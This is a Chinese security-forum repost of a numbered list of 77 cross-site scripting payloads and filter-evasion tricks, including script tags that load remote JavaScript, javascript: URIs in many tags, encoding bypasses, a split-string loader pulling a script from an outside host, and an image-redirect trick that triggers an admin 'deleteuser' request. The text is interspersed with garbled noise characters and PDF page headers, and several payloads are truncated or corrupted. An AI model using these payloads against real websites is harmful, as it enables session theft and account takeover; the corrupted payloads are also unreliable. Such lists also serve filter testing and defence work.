貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
) o; H& |9 {; x' h(1)普通的XSS JavaScript注入4 h/ G& C& _+ p# V6 H4 K) }
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>8 l P+ E3 \" `( A% G, i; S) j
(2)IMG标签XSS使用JavaScript命令
" w2 Y% o- I8 }$ y<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT># l$ d8 T- i' g: Q8 s7 U
(3)IMG标签无分号无引号8 p9 @6 u6 H- F: D# S
<IMG SRC=javascript:alert(‘XSS’)>
" F* P# ^/ G; L& o, G(4)IMG标签大小写不敏感
7 Y, Y, y3 c: Q4 |4 k; h+ `; l) H( n<IMG SRC=JaVaScRiPt:alert(‘XSS’)>1 Q3 w. g# s8 }/ H( q B' l
(5)HTML编码(必须有分号)
& `; b/ C/ F$ g% Z$ I. I$ b! o<IMG SRC=javascript:alert(“XSS”)>
. ^2 H. E& d# `(6)修正缺陷IMG标签
0 d1 g$ O4 _: v% f$ d! e<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 a- u2 |) L6 n f
* A T0 v4 R# N& J% V& g1 \
6 o, ]5 P% X/ h1 ~+ ?7 d! o(7)formCharCode标签(计算器)
" J" V( L* |/ ?) n3 b1 a<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>9 P0 l. e) ^8 E2 d0 Q9 d
(8)UTF-8的Unicode编码(计算器)
0 b: d) S# L, p: Z<IMG SRC=jav..省略..S')>" l6 l4 J4 z, {3 D
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
( B1 H, c9 g+ U% V& @+ Y<IMG SRC=jav..省略..S')>
: x4 q# Y1 ]0 m; e(10)十六进制编码也是没有分号(计算器)
5 w0 r0 O1 d8 q0 P<IMG SRC=java..省略..XSS')>7 x# ^+ V+ l. V8 ?( l% P
(11)嵌入式标签,将Javascript分开
9 T- e! k5 }/ i( e<IMG SRC=”jav ascript:alert(‘XSS’);”>& M. @$ u$ g9 G4 S& @
(12)嵌入式编码标签,将Javascript分开" G+ f/ Z5 X# U! _9 v K" D: M, n
<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 k+ R! a: a, h: G(13)嵌入式换行符
( `- X/ `( d! _: I<IMG SRC=”jav ascript:alert(‘XSS’);”>. T( \- }6 W9 m
(14)嵌入式回车4 W7 m3 H4 N$ h
<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ ^8 [" c1 D K; p(15)嵌入式多行注入JavaScript,这是XSS极端的例子
1 K9 N5 Z" }3 L+ \<IMG SRC=”javascript:alert(‘XSS‘)”>
" \: n6 c( ?) ]/ ^& p1 j(16)解决限制字符(要求同页面)5 N, S* `9 G& S5 s4 b1 e
<script>z=’document.’</script>9 m# n( s$ ^1 s8 @# z0 P7 l
<script>z=z+’write(“‘</script>% V9 U4 m8 ~: I4 k* V$ h, P
<script>z=z+’<script’</script>" o- _' ?( C" ?; _
<script>z=z+’ src=ht’</script>; J1 [2 g+ F' F8 O! s
<script>z=z+’tp://ww’</script>
, E: T( t6 Y* Z' a<script>z=z+’w.shell’</script>+ p; [( E _9 U9 Q, R/ k
<script>z=z+’.net/1.’</script>
: p3 j% N7 S# l, O2 a6 @<script>z=z+’js></sc’</script>2 b: S9 W* U* |4 B3 J. }
<script>z=z+’ript>”)’</script>
" V2 l ] D- x3 y0 T* V: U* F<script>eval_r(z)</script># Z9 t8 M5 S: ^. c: |
(17)空字符12-7-1 T00LS - Powered by Discuz! Board' ? k# E/ y `9 v
https://www.t00ls.net/viewthread ... table&tid=15267 2/6
' e6 a0 I! Z2 operl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out( b g' ^% s1 h7 d& t+ w9 b
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
) W9 f: P; G9 x! Xperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out$ D7 Q/ V* }( Y- {2 P2 b
(19)Spaces和meta前的IMG标签
' }9 s4 V4 o5 i<IMG SRC=” javascript:alert(‘XSS’);”>0 P7 a6 Z7 v% B0 y
(20)Non-alpha-non-digit XSS
6 Q: A% i; N7 |" }) u4 K/ M1 {0 b' x<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
" O/ b; V, v" w. A7 }2 T(21)Non-alpha-non-digit XSS to 2
# r4 f& v% V' ?/ W) y<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; h f9 U1 l! y! x% \9 h% h
(22)Non-alpha-non-digit XSS to 3. u9 b. q) J! g9 o' L! V% T4 [
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
0 G* g9 C* R; A% s" | W4 u( f3 C5 u(23)双开括号
0 I' U( \2 N, I& ~, {) E/ c2 A<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( X% N y m. _2 o* w' c5 Q- i2 P(24)无结束脚本标记(仅火狐等浏览器)6 W6 [# S$ J' C$ G$ F H$ `
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
& Y5 R. ?9 x5 B" l(25)无结束脚本标记2& x. h! q& l: @2 v" o g
<SCRIPT SRC=//3w.org/XSS/xss.js>
0 H' ?2 u% l+ c8 M/ a, y3 h(26)半开的HTML/JavaScript XSS
& H% | J6 g8 J7 w<IMG SRC=”javascript:alert(‘XSS’)”. ?5 u3 G8 L6 J/ A
(27)双开角括号
6 W4 M8 c7 M9 n: Y2 m( z<iframe src=http://3w.org/XSS.html <
* H* c1 {6 p) r3 U e) K3 X" m$ x(28)无单引号 双引号 分号- P; I0 {8 B1 D) W
<SCRIPT>a=/XSS// W4 i! t* h! N) r
alert(a.source)</SCRIPT>
9 k" e' `7 c7 m(29)换码过滤的JavaScript% h! e2 o7 R& D# A& C
\”;alert(‘XSS’);//) X6 X0 U/ ~* z) T! D3 Q5 A6 C" R; l
(30)结束Title标签8 A I! u( c4 a* z8 F
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>! X( N1 {6 \2 q/ a1 g0 `& {
(31)Input Image
) p! J, ^2 z" y% B<INPUT SRC=”javascript:alert(‘XSS’);”>
; A5 t" c: y9 `3 h4 U(32)BODY Image6 `9 L# @# r' V, `8 ]
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>% G" }8 X" ~4 e
(33)BODY标签8 L7 w8 _, U/ n
<BODY(‘XSS’)>
C4 ]8 e2 s" H4 ^(34)IMG Dynsrc- I- z- l4 h8 L6 U5 @
<IMG DYNSRC=”javascript:alert(‘XSS’)”>0 f* M x& r- o9 W' L6 i; B) Y
(35)IMG Lowsrc+ {2 l/ l. ?* J0 X) o) m: n' x' F
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
4 d) S) r, X, g3 a(36)BGSOUND
& c; k- o. B0 h7 A# }7 e<BGSOUND SRC=”javascript:alert(‘XSS’);”>. ]) F. T0 {" Z+ r6 q6 l- p, i
(37)STYLE sheet* N+ B. T3 y# V$ a
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
- y+ ~$ z2 K' F1 E2 E# i/ {" w(38)远程样式表
}& H {2 U7 ]: s3 U+ K<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
' C" F* J1 j" e: w' _- [) M, q(39)List-style-image(列表式)
3 u$ j7 `& y; G7 C) v. w8 w+ \<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
+ |- C0 g" ?4 O' E(40)IMG VBscript) x; a# {5 W5 O" R
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
" x' _- p# g0 k+ O: p1 U(41)META链接url9 F4 d# `7 B1 g/ c/ k4 W. g. d* j6 C; P% b
V! |; F, u8 `
R2 ^& M$ u' `1 f7 Y<META HTTP-EQUIV=”refresh” CONTENT=”0;1 o/ a2 J: O1 W, G% R6 n. ?
URL=http://;URL=javascript:alert(‘XSS’);”>
~ e- V! b9 y) f, {(42)Iframe
8 ]( R, [' T% a* f; }1 M<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
9 z4 Z9 s, L# a9 a# b(43)Frame4 V& c( ?, X# l. T' G* T4 `
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
% ^. R" `' Z& e! Bhttps://www.t00ls.net/viewthread ... table&tid=15267 3/6
! c$ s, d( h1 l. `& `+ |(44)Table; g& v: L( C6 c2 z
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>: J9 M- Z/ }# F' I# z. _
(45)TD
! H) k- } ^; y& q<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>/ o v! l% K: c) G" O9 Y9 Q+ q
(46)DIV background-image' S" \: _* i9 e6 c. ~
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
2 h% e$ w% g$ `0 P9 P5 i(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
0 [( N( \2 b& B y8&13&12288&65279)
* P) i' I7 @' u. n) E- C. i: y<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
% }8 o5 k* I5 _+ c$ T. z9 g1 i(48)DIV expression l) l* P i6 \ i. @
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>" T: p4 t7 E m1 } X4 {
(49)STYLE属性分拆表达! d, L) g5 i+ z' i& }8 z
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
/ z$ N6 p# M5 j# V/ d; l5 i(50)匿名STYLE(组成:开角号和一个字母开头)
( ?0 S2 z7 G i; D; [0 L<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>. O/ n0 C- a! D0 n' d( R# L
(51)STYLE background-image
7 Z( [% {- _3 h) f% D<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
$ X6 M& y' I8 Y4 d' J+ s1 KCLASS=XSS></A>3 I+ U: U% x* l P" h
(52)IMG STYLE方式
) k( l: t- I( m; vexppression(alert(“XSS”))’>9 o% |" w3 L5 }8 `5 h0 X
(53)STYLE background
0 b' F, q+ f* n" r+ D<STYLE><STYLE
5 j0 I" S9 M+ i( h! _2 F6 |* ^7 gtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>( x* c, e4 k5 a# p0 w. Y
(54)BASE5 w* I, |: d4 K6 W1 j- e
<BASE HREF=”javascript:alert(‘XSS’);//”>6 V% n+ n# r# W0 a4 V$ K
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
, ? @( Z4 P0 H0 T<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>5 Y' D$ s; u7 ?, F& W
(56)在flash中使用ActionScrpt可以混进你XSS的代码6 \/ t |* x3 c9 z/ B
a=”get”; D2 y; O1 Y) S% n& R6 D
b=”URL(\”";6 y6 @+ e! N/ @" c5 M
c=”javascript:”;
5 A4 R6 z. m2 D& o, t7 Xd=”alert(‘XSS’);\”)”;& J! o- _, J" I. q1 z
eval_r(a+b+c+d);
+ q$ ~4 _2 t7 g# V2 y* H/ V ~(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
5 a0 @' x# N- P+ l0 c: H( o8 N<HTML xmlns:xss>
, o3 {) g* {: w# r. ]<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>& N, b- W# n. A
<xss:xss>XSS</xss:xss>
/ U( h2 {0 ?. z) ?</HTML>: p; a" z/ z8 u8 J5 Q0 E4 J! U
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
) C4 M1 E6 ]( }<SCRIPT SRC=””></SCRIPT>% {$ |9 W+ h$ z9 g) R
(59)IMG嵌入式命令,可执行任意命令' l3 ] @( u' j/ u& ~
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
. Q9 x0 E& b+ H(60)IMG嵌入式命令(a.jpg在同服务器)
' k" `$ a! l' i- j* O A& uRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser t( H! L2 z+ {2 s6 w0 l0 E- A
(61)绕符号过滤
+ a: A3 n5 X" D( T8 l3 c<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>3 M. N: o) Y/ @1 G0 |0 f2 l. n
(62)2 ~2 a" v- @' P! S J
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
2 Q4 E" u. ~ L; J/ B% b% \9 n(63)
# z: x2 K) `% e7 b/ \8 _3 @<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>5 ]+ I6 X3 ]' x" Q
(64)" Q" G* d5 R# y( O5 ~+ w) E% H
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>+ S* D. `* J5 r7 f& f# W4 U' z+ O7 j
(65)% T, A7 ]/ y4 O" c
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
" F: o. f, X! |$ R- E& l5 @(66)12-7-1 T00LS - Powered by Discuz! Board/ k# b U/ N4 F1 z. U6 x- |
https://www.t00ls.net/viewthread ... table&tid=15267 4/6
( F2 P9 p' g6 f3 ?: ^# y/ w<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>3 ? X7 q0 a6 S% @ B/ W5 V! w. D
(67)
+ i: i4 R: K3 f2 O/ E U2 Y9 \<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>% h p! k; v) |9 G2 Y0 n
</SCRIPT>9 }# m4 G) w( e3 k
(68)URL绕行 {6 v6 m% C2 k! l. I; v
<A HREF=”http://127.0.0.1/”>XSS</A>
: ]. ~+ q5 o8 O% A( `(69)URL编码
$ E: j& k4 m# A/ b<A HREF=”http://3w.org”>XSS</A>3 R8 f; T8 A0 f: |9 b( I
(70)IP十进制3 {4 Q8 C8 Y" p1 R
<A HREF=”http://3232235521″>XSS</A>4 t" G( ?- `' o) V7 `4 A; J
(71)IP十六进制
! w! f1 F8 @/ B$ T8 |+ b. N<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
2 Q5 h: e4 B8 x% m9 z(72)IP八进制) S( J! {- u2 Z6 i5 r5 [& r! g
<A HREF=”http://0300.0250.0000.0001″>XSS</A>1 f I W4 R) q8 q: d( Q( ^# A% x
(73)混合编码+ w, U! _4 Q$ t5 G0 ~) f+ r& }
<A HREF=”h
/ x( P! j" v' ^6 btt p://6 6.000146.0×7.147/”">XSS</A>
" c, [# l$ h; ^( X(74)节省[http:]2 g' l3 G! j E! f$ s: p- K
<A HREF=”//www.google.com/”>XSS</A>, g7 w4 \) @+ j8 i. n( }
(75)节省[www]
5 W; o, x3 Q1 N9 S5 m$ w<A HREF=”http://google.com/”>XSS</A>8 g- w2 D2 `1 `8 o" G. y
(76)绝对点绝对DNS
% [- }9 E8 Y) L! S) p' o7 ]. O<A HREF=”http://www.google.com./”>XSS</A>
8 g7 M5 A9 b) Y; T _! g(77)javascript链接
$ K% S% G3 l. ?, [( ?, D<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
G3 [! d8 G8 ?. j- k1 G0 F1 v l y9 ^( a5 U$ {
原文地址:http://fuzzexp.org/u/0day/?p=144 ?# }, x# _7 ^. h
) B! B5 Y6 w1 N |